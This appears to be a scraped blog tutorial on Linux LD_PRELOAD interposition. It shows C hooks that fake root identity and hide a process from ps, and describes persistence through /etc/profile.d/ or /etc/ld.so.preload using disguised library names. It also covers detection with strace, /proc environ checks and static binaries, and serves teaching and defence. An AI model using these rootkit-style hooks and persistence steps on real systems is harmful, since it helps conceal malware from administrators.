Tools: Update: How To "Gaslight" A Binary

Tools: Update: How To "Gaslight" A Binary

Why This Works

Variables Are Impractical

1. Hooking New Shells

2. System-Wide Persistence

Detecting Malicious Libraries

The Obvious Check

strace

Static Binaries Here is a very simple C code: It simply prints your identity in the current session. Let's run it: The program says I'm root, but look at the prompt: I'm logged in as local. There isn't any privilege escalation in the code, and the program isn't run with sudo or similar. But if so, why is the program telling me that it is running as root? Well, it just got lied to. It genuinely thinks that it is root, and it is because it blindly trusts getuid function from libc, which we've overridden. See, I lied to you. I didn't "just" run ./whoami. Before this, I ran this: And that's it: a single environment variable just compromised my program. What it actually does, is tell the dynamic linker: "before the program runs, load this library". You probably already guessed what this library does, but here is its code: It overrides getuid to always return zero (=root). This is how you gaslight a binary.

And obviously, it's the least dangerous thing that a malicious library could do. At a high level, this works because of how dynamically linked programs are executed on Linux. Most binaries don't contain all the code they need. Instead, they rely on shared libraries (like libc), which are loaded at runtime by the dynamic linker (usually ld-linux.so). When a program calls a function like getuid, it doesn't jump directly to a fixed address. Instead, the dynamic linker resolves that symbol at runtime and decides which implementation to use. LD_PRELOAD takes advantage of this mechanism by injecting a library before all others. This means: In other words, you're not modifying the program itself, you're changing what its function calls resolve to at runtime. This technique is often referred to as function interposition. Another example, commonly used in rootkits, is hiding a process. Here is evil.c, an extremely evil code: It just loops and prints forever, nothing special. And now, let's switch to a sysadmin that wants to search for an evil process: And they immediately find it. Now, let's hide it a bit more. See, processes in Linux are listed in /proc along other information. To list those processes, most programs enumerate /proc by reading directory entries (similar to ls /proc). So all we have to do is overwrite readdir, trickier than it sounds, because we still need the real readdir to work underneath us. (This part only is the "main" logic, full codes can be found here.) Now, let's use ps again, with the library attached, this time. And just like that, even if our evil program is still running, it isn't listed anymore. This is the way most rootkits operate to hide themselves (well, they use way more intensive techniques, but you got it). Obviously, this is some light work. Actual malware does way more than this. A good example would be this simple library, that purely keylogs everything inputted into stdin: It works the same way: hook fgets from libc, and everything typed into the program flows through your code first. Let's be real, ain't no user will voluntarily prepend LD_PRELOAD=./safe_lib.so to all of their commands. However, there are obviously other ways. /etc/profile.d/ contains scripts that are automatically loaded on terminal init, so an attacker could create a legitimate-looking file, like /etc/profile.d/who.sh with export LD_PRELOAD=/usr/local/lib/systemd-compat.so as a content, and every new shell created from there will preload systemd-compat.so, thus it being the malicious script. This is a nice way, but not the most reliable one, since it only works for interactive shells. /etc/ld.so.preload is literally the file meant to do that. Every entry in it is preloaded by the dynamic linker for all dynamically linked binaries. So the attacker could simply append /usr/local/lib/systemd-compat.so to it, and the whole system would be compromised, even programs not being launched from an interactive shell. The first thing to do is check both persistence mechanisms directly: Anything unexpected in either of those is a red flag. Look for files with innocent-sounding names like systemd-compat.so, libgcc-utils.so, anything trying to blend in. If you aren't sure about something, the internet is your best friend here. strace operates at the syscall level, below libc entirely, so LD_PRELOAD can't hide things from it. You can use it to see what a program is actually doing regardless of what any hooked library tells you: If ps is opening files it shouldn't, or skipping /proc entries, you'll see it here. Another approach: LD_PRELOAD doesn't disappear once a process starts, it stays visible in /proc/<pid>/environ. So even if a hooked ps hides the process, the preload trail is still sitting in procfs, readable by anything that looks directly at /proc instead of going through libc. The best solution is to use a statically compiled binary, which doesn't use the dynamic linker at all, so preloaded libraries are completely ignored. This is why forensic tools are often distributed as static binaries: on a compromised system, they're the only tools you can actually trust. You can check if a binary is static with: At the end of the day, nothing here is "breaking" Linux so much as bending trust. The program still believes it is calling libc. The system still believes it is listing processes. It’s only the answers that change. And that’s the uncomfortable part: in userspace, reality can be altered. Templates let you quickly answer FAQs or store snippets for re-use. Are you sure you want to ? It will become hidden in your post, but will still be visible via the comment's permalink. Hide child comments as well For further actions, you may consider blocking this person and/or reporting abuse

Code Block

Copy

int main() { uid_t uid = getuid(); struct passwd *pw = getpwuid(uid); printf("uid: %d, user: %s\n", uid, pw->pw_name); return 0; } int main() { uid_t uid = getuid(); struct passwd *pw = getpwuid(uid); printf("uid: %d, user: %s\n", uid, pw->pw_name); return 0; } int main() { uid_t uid = getuid(); struct passwd *pw = getpwuid(uid); printf("uid: %d, user: %s\n", uid, pw->pw_name); return 0; } [local@DouLen] ~ › ./whoami uid: 0, user: root [local@DouLen] ~ › ./whoami uid: 0, user: root [local@DouLen] ~ › ./whoami uid: 0, user: root export LD_PRELOAD=./fake_uid.so export LD_PRELOAD=./fake_uid.so export LD_PRELOAD=./fake_uid.so int getuid() { return 0; } int getuid() { return 0; } int getuid() { return 0; } ld-linux.so int main() { while (1) { printf("Haha I'm so evil >:)\n"); sleep(5); } return 0; } int main() { while (1) { printf("Haha I'm so evil >:)\n"); sleep(5); } return 0; } int main() { while (1) { printf("Haha I'm so evil >:)\n"); sleep(5); } return 0; } [admin@DouLen] ~ › ps a | grep evil 7050 pts/2 S+ 0:00 ./evil [admin@DouLen] ~ › ps a | grep evil 7050 pts/2 S+ 0:00 ./evil [admin@DouLen] ~ › ps a | grep evil 7050 pts/2 S+ 0:00 ./evil struct dirent *readdir(DIR *dirp) { static struct dirent *(*real_readdir)(DIR *) = NULL; real_readdir = dlsym(RTLD_NEXT, "readdir"); // get the *real* readdir, since we need to use it struct dirent *entry; while ((entry = real_readdir(dirp)) != NULL) { // probe each entry of the real readdir call if (is_pid(entry->d_name)) { if (matches_target(entry->d_name)) { // if it is our target process, skip it continue; // hide this process } } return entry; } return NULL; } struct dirent *readdir(DIR *dirp) { static struct dirent *(*real_readdir)(DIR *) = NULL; real_readdir = dlsym(RTLD_NEXT, "readdir"); // get the *real* readdir, since we need to use it struct dirent *entry; while ((entry = real_readdir(dirp)) != NULL) { // probe each entry of the real readdir call if (is_pid(entry->d_name)) { if (matches_target(entry->d_name)) { // if it is our target process, skip it continue; // hide this process } } return entry; } return NULL; } struct dirent *readdir(DIR *dirp) { static struct dirent *(*real_readdir)(DIR *) = NULL; real_readdir = dlsym(RTLD_NEXT, "readdir"); // get the *real* readdir, since we need to use it struct dirent *entry; while ((entry = real_readdir(dirp)) != NULL) { // probe each entry of the real readdir call if (is_pid(entry->d_name)) { if (matches_target(entry->d_name)) { // if it is our target process, skip it continue; // hide this process } } return entry; } return NULL; } [admin@DouLen] ~ › LD_PRELOAD=./ps_hide.so ps a | grep evil 7214 pts/0 S+ 0:00 grep --color=auto evil [admin@DouLen] ~ › LD_PRELOAD=./ps_hide.so ps a | grep evil 7214 pts/0 S+ 0:00 grep --color=auto evil [admin@DouLen] ~ › LD_PRELOAD=./ps_hide.so ps a | grep evil 7214 pts/0 S+ 0:00 grep --color=auto evil LD_PRELOAD=./safe_lib.so /etc/profile.d/ /etc/profile.d/who.sh export LD_PRELOAD=/usr/local/lib/systemd-compat.so /etc/ld.so.preload /usr/local/lib/systemd-compat.so cat /etc/ld.so.preload ls /etc/profile.d/ cat /etc/ld.so.preload ls /etc/profile.d/ cat /etc/ld.so.preload ls /etc/profile.d/ systemd-compat.so libgcc-utils.so strace -e openat ps strace -e openat ps strace -e openat ps /proc/<pid>/environ ldd $(which ps) # if it says "not a dynamic executable", LD_PRELOAD won't touch it ldd $(which ps) # if it says "not a dynamic executable", LD_PRELOAD won't touch it ldd $(which ps) # if it says "not a dynamic executable", LD_PRELOAD won't touch it - If your library defines a function (e.g., getuid) - That definition is used instead of the one in libc